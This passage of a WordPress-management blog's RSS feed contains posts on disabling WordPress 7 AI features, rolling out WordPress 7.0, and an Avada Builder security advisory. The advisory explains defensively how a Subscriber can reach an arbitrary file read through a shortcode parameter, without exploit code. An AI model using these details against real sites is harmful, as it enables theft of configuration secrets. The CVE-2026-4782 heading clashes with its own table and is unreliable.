&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; ( &lt;/span&gt;&lt;span&gt;defined&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;WP_AI_SUPPORT&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; ) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt; WP_AI_SUPPORT&lt;/span&gt;&lt;span&gt; ) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        return&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;bool&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;apply_filters&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;wp_supports_ai&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Plugins that integrate the WordPress 7 AI client are expected to call this function first. If it returns &lt;code&gt;false&lt;/code&gt;, they skip their AI prompts entirely - no API requests, no admin UI, no background processing. Core uses the same check internally to gate AI provider connector registration.&lt;/p&gt;
&lt;p&gt;The default behaviour, with no constant defined and no filter hooked, is that &lt;code&gt;wp_supports_ai()&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt;. AI is on unless someone says otherwise.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;WordPress 7.0 does not ship an admin UI toggle to disable AI globally. The only ways to turn it off are the wp-config constant, the wp_supports_ai filter, or a plugin that wraps one of those.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why disable WordPress AI features at all?&lt;/h2&gt;
&lt;p&gt;If your sites have a real, agreed use case for AI in editorial or admin workflows, leave it on. For most agencies and hosting providers, the reasons to disable AI by default come down to a handful of recurring patterns:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Client contracts and NDAs&lt;/strong&gt;. Many client agreements explicitly forbid sending content to third-party AI providers without prior approval. With AI on by default, an editor can wire up a connector without anyone reviewing the contract.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data-protection compliance&lt;/strong&gt;. GDPR and UK GDPR require a documented lawful basis before personal data is processed by an AI model. The EDPB’s &lt;a href=&quot;https://www.edpb.europa.eu/our-work-tools/our-documents/opinion-board-art-64/opinion-282024-certain-data-protection-aspects_en&quot;&gt;Opinion 28/2024 on AI models&lt;/a&gt; and the &lt;a href=&quot;https://www.edps.europa.eu/data-protection/our-work/publications/guidelines/2025-10-28-guidance-generative-ai-strengthening-data-protection-rapidly-changing-digital-era_en&quot;&gt;EDPS 2025 generative AI guidance&lt;/a&gt; both put the burden on the controller to document what gets sent where. Disabling AI removes the need to make that case for every site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Editorial and content-authenticity policies&lt;/strong&gt;. Journalism, academic, and legal-content sites often need to certify that no AI was used in the content pipeline. WP_AI_SUPPORT gives you an auditable server-level off switch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost containment&lt;/strong&gt;. Paid connector accounts get hit whenever an editor experiments with AI. Disabling the feature removes the risk of unexpected API bills.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reducing surface area&lt;/strong&gt;. Sites that have no need for AI features get less admin-side JavaScript, fewer settings panels, and no inert connector listings on Settings - Connectors.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can always re-enable AI for a specific site later by removing the define. Disabling it by default and opting sites in is the lower-risk posture for a multi-site portfolio.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/24/introducing-the-ai-client-in-wordpress-7-0/&quot;&gt;Introducing the AI Client in WordPress 7.0&lt;/a&gt; - the Make Core dev note that explains the architecture and the rationale behind &lt;code&gt;wp_supports_ai()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/18/introducing-the-connectors-api-in-wordpress-7-0/&quot;&gt;Introducing the Connectors API in WordPress 7.0&lt;/a&gt; - the companion post on how AI providers plug into WordPress, including the three featured connectors.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/05/14/wordpress-7-0-field-guide/&quot;&gt;WordPress 7.0 Field Guide&lt;/a&gt; - the full release reference, including the AI integration sections.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/turn-off-ai-features/&quot;&gt;Turn Off AI Features&lt;/a&gt; - the community plugin that wraps the &lt;code&gt;wp_supports_ai&lt;/code&gt; filter for site owners who would rather not edit wp-config.php.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.edpb.europa.eu/our-work-tools/our-documents/opinion-board-art-64/opinion-282024-certain-data-protection-aspects_en&quot;&gt;EDPB Opinion 28/2024 on AI models&lt;/a&gt; - the European Data Protection Board’s December 2024 opinion on processing personal data in AI systems.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>wordpress 7</category><category>wp-config</category><category>ai</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/disable-wordpress-ai-features-wp-ai-support.png" length="0" type="image/png"/></item><item><title>mySites.guru is fully compatible with WordPress 7.0</title><link>https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/</guid><description>WordPress 7.0 &quot;Armstrong&quot; shipped on 20 May 2026. mySites.guru works perfectly with it. Backup, update, and control auto-updates across every site.</description><pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;WordPress 7.0 &quot;Armstrong&quot; released 20 May 2026&lt;/p&gt;
  &lt;p&gt;mySites.guru is fully compatible. No reinstall, no reconfiguration. Backup, update, and control auto-upgrades across every connected site from one dashboard.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;WordPress 7.0 “Armstrong” shipped on 20 May 2026, named after Louis Armstrong. It is the first major version bump in three years, and the largest set of core changes since the block editor shipped. If you manage a portfolio of WordPress sites, the question is how to roll it out without breaking anything.&lt;/p&gt;
&lt;p&gt;mySites.guru is fully compatible with WordPress 7.0. The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;connector&lt;/a&gt;, backups, audits, and one-click updates all work the same on 7.0 as on 6.x. There is nothing to reinstall on your end. Open any connected site, run a backup, and trigger the update from the same screen. If you &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage hundreds of sites&lt;/a&gt;, you can queue the update across the whole portfolio from one place.&lt;/p&gt;
&lt;h2&gt;How do I update multiple sites to WordPress 7.0?&lt;/h2&gt;
&lt;p&gt;The recommended workflow inside mySites.guru is backup, then update, on every site you intend to move. Both steps live behind keyboard shortcuts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Press &lt;code&gt;b&lt;/code&gt;&lt;/strong&gt; to open the &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Backups tool&lt;/a&gt;. Trigger a fresh backup before any major core upgrade.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Press &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt;&lt;/strong&gt; to open the &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt;. It lists every site with its PHP version, database version, and auto-update status, colour-coded against the 7.0 requirements.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From either screen you can drill into a site and run the WordPress core update. mySites.guru calls the same internal update routine WordPress uses in wp-admin. It just does it across every connected site without per-site logins.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Check your sites before you update&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;Open WordPress 7 Compatibility Checker&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Colour-codes every connected site&apos;s PHP, database, and auto-update status against the WordPress 7.0 requirements.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Letting 7.0 Auto-Install Is a Bad Idea&lt;/h2&gt;
&lt;p&gt;We recommend against it. Major core upgrades should happen on your schedule, after a fresh backup, with someone watching the result. Auto-upgrading a portfolio of client sites to a new major version overnight is how plugins break, layouts shift, and Monday mornings start badly.&lt;/p&gt;
&lt;p&gt;mySites.guru has a one-click tool that sets the two wp-config constants you want on every connected site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; set to true, which stops the background updater touching core, plugins, themes, or translations&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; set to &lt;code&gt;minor&lt;/code&gt;, so security patches still arrive automatically while major version jumps wait for you&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You apply both with one click per site (or across the whole portfolio at once) without SSH or wp-config edits. See &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;Stop Automatic Updates in WordPress with One Click&lt;/a&gt; for the full walkthrough, and &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;Enforce Minor Upgrades Only&lt;/a&gt; for the reasoning behind the minor-only setting.&lt;/p&gt;
&lt;p&gt;If you would rather let WordPress auto-upgrade your sites to 7.0, that still works. mySites.guru will pick up the new version on the next audit and report it like any other change. The compatibility checker remains accurate either way.&lt;/p&gt;
&lt;h2&gt;WordPress 7.0 Server Requirements&lt;/h2&gt;
&lt;p&gt;The minimums shifted upward with this release. Sites that do not meet either floor will not be offered the 7.0 auto-update and stay on the 6.9 security branch until the host catches up.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Component&lt;/th&gt;
      &lt;th&gt;WordPress 6.9&lt;/th&gt;
      &lt;th&gt;WordPress 7.0&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;PHP minimum&lt;/td&gt;
      &lt;td&gt;7.2.24&lt;/td&gt;
      &lt;td&gt;7.4&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PHP recommended&lt;/td&gt;
      &lt;td&gt;8.0+&lt;/td&gt;
      &lt;td&gt;8.3+&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MySQL minimum&lt;/td&gt;
      &lt;td&gt;5.5.5&lt;/td&gt;
      &lt;td&gt;5.5.5 (unchanged)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MySQL recommended&lt;/td&gt;
      &lt;td&gt;8.0+&lt;/td&gt;
      &lt;td&gt;8.4 LTS&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MariaDB minimum&lt;/td&gt;
      &lt;td&gt;5.5.5&lt;/td&gt;
      &lt;td&gt;5.5.5 (10.11+ recommended)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Correction (2 October 2026): an earlier version of this table gave MySQL 8.0 and MariaDB 10.6 as the WordPress 7.0 minimums. The &lt;a href=&quot;https://make.wordpress.org/hosting/handbook/compatibility/version/7-0/&quot;&gt;WordPress 7.0 hosting handbook&lt;/a&gt; lists 5.5.5 for both, and MySQL 8.0 and MariaDB 10.6 reached end of life in 2026, so treat them as due for an upgrade rather than as a target.&lt;/p&gt;
&lt;p&gt;For the full breakdown, see &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;Check Your Sites for WordPress 7.0 Compatibility&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-technical-requirements-check/&quot;&gt;WordPress 7 Technical Requirements Check&lt;/a&gt;. Both posts have the comparison tables, the rationale for each bump, and screenshots of the compatibility tool in action.&lt;/p&gt;
&lt;h2&gt;What Actually Shipped in WordPress 7.0&lt;/h2&gt;
&lt;p&gt;The headline feature for most of the 7.0 cycle was real-time collaborative editing in the block editor. That was pulled on 8 May 2026 over concerns about race conditions, server load, memory efficiency, and the need for a new core database table. It is being re-evaluated for 7.1.&lt;/p&gt;
&lt;p&gt;What did ship: a modern admin redesign with a refreshed colour scheme, smoother transitions between screens, and a Command Palette accessible from the admin bar; a Web Client AI API, a provider-agnostic interface that plugins and themes can use to call generative AI providers without bundling their own client (AI is on by default - see &lt;a href=&quot;https://mysites.guru/blog/disable-wordpress-ai-features-wp-ai-support/&quot;&gt;disabling WordPress 7 AI with WP_AI_SUPPORT&lt;/a&gt; if you’d rather opt out across your portfolio); new Icon and Breadcrumbs core blocks, reducing the need for third-party block libraries; a dedicated font management page in the admin for both classic and block themes, replacing the patchwork of per-theme font UIs; and server-side block and pattern registration, PHP-side auto-registration of blocks and patterns that reduces boilerplate for plugin developers. Roughly 300 core bugs and 486 Gutenberg bugs were fixed, plus 77 enhancements and 35 blessed tasks.&lt;/p&gt;
&lt;p&gt;The official release post is at &lt;a href=&quot;https://wordpress.org/news/2026/05/armstrong/&quot;&gt;wordpress.org/news/2026/05/armstrong/&lt;/a&gt;. The &lt;a href=&quot;https://make.wordpress.org/core/2026/05/14/wordpress-7-0-field-guide/&quot;&gt;Field Guide&lt;/a&gt; on Make WordPress Core has the full list of developer-facing changes.&lt;/p&gt;
&lt;h2&gt;mySites.guru’s WordPress 7.0 Coverage&lt;/h2&gt;
&lt;p&gt;Nothing. That is the point.&lt;/p&gt;
&lt;p&gt;The connector reads WordPress core, plugins, themes, the database, and wp-config the same way it did on 6.9. The audit results, backup format, restore workflow, hack detection, malware scanner, and one-click updates are all unchanged. The new Command Palette in WordPress 7.0 sits beside the mySites.guru keyboard shortcuts (&lt;code&gt;b&lt;/code&gt; for backups, &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt; for compatibility, Cmd/Ctrl+K for the dashboard palette) without conflict.&lt;/p&gt;
&lt;p&gt;If you were running mySites.guru on WordPress 6.x last week, everything you used still works on 7.0. The only change you might want to make is the auto-upgrade setting, which is a one-click toggle.&lt;/p&gt;
&lt;h2&gt;How should I roll WordPress 7.0 out to client sites?&lt;/h2&gt;
&lt;p&gt;If you manage other people’s sites, the safe rollout looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Audit compatibility first.&lt;/strong&gt; Open the WordPress 7 Compatibility Checker and identify any site below PHP 7.4. Those need a host upgrade before anything else, and any site on an end-of-life database should be next.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable core auto-upgrades.&lt;/strong&gt; Sites that are 7.0-ready should not jump on their own at 3am. Use the one-click tool to set the wp-config constants across every site at once.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pick a staging victim.&lt;/strong&gt; Update one low-stakes site to 7.0 first. Confirm the theme renders, the admin works, and the critical plugins still function.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backup, then update in batches.&lt;/strong&gt; Group sites by stack similarity (same theme, same plugin set) and update each batch after a fresh backup. Watch for plugin compatibility messages in the WordPress admin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit again.&lt;/strong&gt; After each batch, run a mySites.guru audit. The version, plugin status, and any new compatibility warnings will be picked up on the next scheduled run, or you can trigger an audit on demand.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The whole process is one screen per step. No SSH, no wp-admin tabs, no spreadsheet to track which client got updated.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/05/armstrong/&quot;&gt;WordPress 7.0 “Armstrong” announcement&lt;/a&gt; - the official wordpress.org release post.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/05/14/wordpress-7-0-field-guide/&quot;&gt;WordPress 7.0 Field Guide&lt;/a&gt; - developer-facing breaking changes on Make WordPress Core.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/05/20/wordpress-7-0-release-day-process/&quot;&gt;WordPress 7.0 Release Day Process&lt;/a&gt; - the release-day log from the core team.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/31/extending-the-7-0-cycle/&quot;&gt;Extending the 7.0 cycle&lt;/a&gt; - the decision that pushed the original April date.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Update every WordPress site from one dashboard&lt;/p&gt;
  &lt;p&gt;Connect unlimited sites, backup before every upgrade, and disable risky core auto-updates with one click. mySites.guru is fully compatible with WordPress 7.0 today.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Run a free audit&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>updates</category><category>backup</category><category>auto-updates</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/mysites-guru-fully-compatible-with-wordpress-7.png" length="0" type="image/png"/></item><item><title>Avada Builder Patches Two Security Issues in 3.15.3</title><link>https://mysites.guru/blog/avada-builder-cve-2026-4782-4798/</link><guid isPermaLink="true">https://mysites.guru/blog/avada-builder-cve-2026-4782-4798/</guid><description>Avada Builder 3.15.3 patches an unauthenticated SQL injection and a Subscriber-level file read across 1 million WordPress sites. Find affected sites.</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Avada Builder, the plugin bundled with the Avada theme by ThemeFusion, runs on around 1 million WordPress sites. On May 12, 2026, Wordfence published &lt;a href=&quot;https://www.wordfence.com/blog/2026/05/1000000-wordpress-sites-affected-by-arbitrary-file-read-and-sql-injection-vulnerabilities-in-avada-builder-wordpress-plugin/&quot;&gt;two CVEs&lt;/a&gt; and ThemeFusion shipped the final patch the same day.&lt;/p&gt;
&lt;p&gt;The first is a Subscriber-level arbitrary file read that hands an attacker the contents of &lt;code&gt;wp-config.php&lt;/code&gt;. The second is an unauthenticated time-based SQL injection that fires on any Avada site that ever had WooCommerce installed. Both are fixed in &lt;strong&gt;3.15.3&lt;/strong&gt;. Update now.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update: a more severe Avada Builder flaw was patched after this one&lt;/p&gt;
  &lt;p&gt;A later release fixed &lt;a href=&quot;https://mysites.guru/blog/avada-builder-cve-2026-8713/&quot;&gt;CVE-2026-8713&lt;/a&gt;, an unauthenticated arbitrary file deletion flaw rated CVSS 9.1 that can delete &lt;code&gt;wp-config.php&lt;/code&gt; and lead to a full site takeover. It is fixed in 3.15.4. If you run Avada, update to the latest version, not just 3.15.3.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage WordPress sites for clients, the advisory is the easy bit. The work is figuring out which of your sites are still on 3.15.2 or earlier, then pushing the update to every one of them. Across the mySites.guru network we track Avada Builder on nearly 1,000 sites belonging to hundreds of agencies, so that work is real.&lt;/p&gt;
&lt;h2&gt;Finding Every Avada Builder Site in Your Portfolio&lt;/h2&gt;
&lt;p&gt;Up to about ten sites, you can log in to each one and check the Plugins screen. Past that, you need a single view. The Plugins screen approach is slow, error-prone, and only tells you what was on disk the last time someone updated.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;mySites.guru’s WordPress Extensions inventory&lt;/a&gt; tracks every installed plugin across every connected site, refreshed on each snapshot. Search for “Avada Builder” (or the slug &lt;code&gt;fusion-builder&lt;/code&gt;) and you get every version across your portfolio, grouped by version number, with a “Which sites?” button that lists exactly where each version is running.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: find every Avada Builder install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/3a2c29cdb121e7ed00f8c72348c05e82&quot;&gt;Open Avada Builder Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every version of Avada Builder across your connected sites. Anything on 3.15.2 or earlier needs the 3.15.3 patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The same inventory feeds the vulnerability scanner. mySites.guru cross-references every installed plugin against the &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Wordfence Vulnerability API&lt;/a&gt; twice a day, so when a CVE like CVE-2026-4782 drops, sites running affected versions get flagged with a red warning banner. No security feeds to watch.&lt;/p&gt;
&lt;h2&gt;Bulk Updating Avada Builder Across Hundreds of Sites&lt;/h2&gt;
&lt;p&gt;Once you know which sites need updating, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites that need 3.15.3, push the update across all of them from one screen. The same workflow covers any plugin, theme, or core update, so the routine you wire up once works for every future CVE. Pair it with the &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Akeeba Backup or All-In-One Migration integration&lt;/a&gt; to back up each selected site first.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing 50+ WordPress sites&lt;/p&gt;
  &lt;p&gt;Avada Builder ships with the Avada theme, so most clients running Avada have this plugin whether they know it or not. The patch is the easy bit; the inventory is the work. &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;See how bulk updates work in mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If the patch needs more than a quick test on a particular site, &lt;a href=&quot;https://www.wordfence.com/blog/2026/05/1000000-wordpress-sites-affected-by-arbitrary-file-read-and-sql-injection-vulnerabilities-in-avada-builder-wordpress-plugin/&quot;&gt;disable Avada Builder&lt;/a&gt; until you can update. Deactivating it takes the vulnerable shortcode handler and AJAX endpoint out of play while you schedule a maintenance window.&lt;/p&gt;
&lt;h2&gt;Should I back up my WordPress sites before updating Avada Builder?&lt;/h2&gt;
&lt;p&gt;Yes, every time. Avada Builder uses its own page builder data format, and a bad update can leave you with broken layouts, missing elements, or corrupt page metadata. You often do not notice until a client phones to ask why the homepage carousel is empty.&lt;/p&gt;
&lt;p&gt;Make sure each site has a recent backup before you push the update. A mySites.guru &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot&lt;/a&gt; records config and version state, but it is not a restorable backup. For a rollback you want the &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;full one-click backup&lt;/a&gt; of files and database. The &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup-all-sites workflow&lt;/a&gt; runs that backup across your whole portfolio in one click, so you can fire off backups for every Avada site, wait for them to finish, then run the update pass.&lt;/p&gt;
&lt;p&gt;If you already run &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;unlimited backup schedules&lt;/a&gt;, the patch goes on top of whatever you have scheduled, so the worst case is one extra restore point.&lt;/p&gt;
&lt;h2&gt;How do I watch for exploitation after patching?&lt;/h2&gt;
&lt;p&gt;The file read flaw has been at “partial fix” status since April 13. The full advisory dropped today, which is when most exploitation attempts start. Patching closes the door; monitoring tells you whether anyone walked through it before you got there.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; covers the three signals that matter after a file-read or SQL injection CVE:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;File changes to core, theme, or plugin files. If someone grabbed &lt;code&gt;wp-config.php&lt;/code&gt; salts and forged a session to drop a backdoor, the new file in &lt;code&gt;wp-content/&lt;/code&gt; or a modified &lt;code&gt;wp-config.php&lt;/code&gt; shows up before the next snapshot.&lt;/li&gt;
&lt;li&gt;New admin accounts. Anything created at administrator level fires an alert, whether it came in via the REST API, wp-admin, or directly through the database. Forging a session with leaked salts is one route to a rogue admin.&lt;/li&gt;
&lt;li&gt;wp-admin login activity, with IP, user agent, and timestamp. Unfamiliar logins on accounts that should not be active are the cheapest tell.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of those alerts fire, the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanner&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked recovery workflow&lt;/a&gt; handle the remediation side.&lt;/p&gt;
&lt;h2&gt;Showing Clients Their Avada Site Is Now Safe&lt;/h2&gt;
&lt;p&gt;The patch is half the deliverable on a managed contract. The other half is the client knowing it happened. mySites.guru produces &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label client activity reports&lt;/a&gt; that list every update applied, every backup taken, and every vulnerability cleared in a given window, branded with your own logo and domain.&lt;/p&gt;
&lt;p&gt;After an Avada patch run, the same report tells the client which CVEs were closed, which sites went to 3.15.3, and that backups ran before each update. The &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;custom client report builder&lt;/a&gt; lets you scope it to the work covered by their retainer rather than dumping the firehose of internal monitoring data on them.&lt;/p&gt;
&lt;h2&gt;CVE-2026-4782: Unauthenticated SQL Injection&lt;/h2&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fusion-builder&quot;&gt;CVE-2026-4782&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;6.5 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Arbitrary File Read&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All versions up to and including 3.15.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.15.3&lt;/strong&gt; (May 12, 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Yes - Subscriber or above&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Bounty&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;$3,386.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Rafie Muhammad (via Wordfence Bug Bounty)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The flaw lives in Avada’s &lt;code&gt;fusion_get_svg_from_file()&lt;/code&gt; helper, reached from the &lt;code&gt;fusion_section_separator&lt;/code&gt; shortcode via its &lt;code&gt;custom_svg&lt;/code&gt; parameter. The function calls &lt;code&gt;$wp_filesystem-&amp;gt;get_contents( $url )&lt;/code&gt; with no checks on file type or path, then falls back to PHP’s &lt;code&gt;file_get_contents()&lt;/code&gt;. Nothing forces the input to be a &lt;code&gt;.svg&lt;/code&gt;, so a &lt;code&gt;.php&lt;/code&gt; file works just as well.&lt;/p&gt;
&lt;p&gt;The shortcode is rendered via the AJAX endpoint &lt;code&gt;get_shortcode_render()&lt;/code&gt; in the &lt;code&gt;Fusion_Builder_Front&lt;/code&gt; class. That endpoint is nonce-protected, but the nonce is reachable by any logged-in user in vulnerable versions, and there is no capability check on the handler. A Subscriber account is enough.&lt;/p&gt;
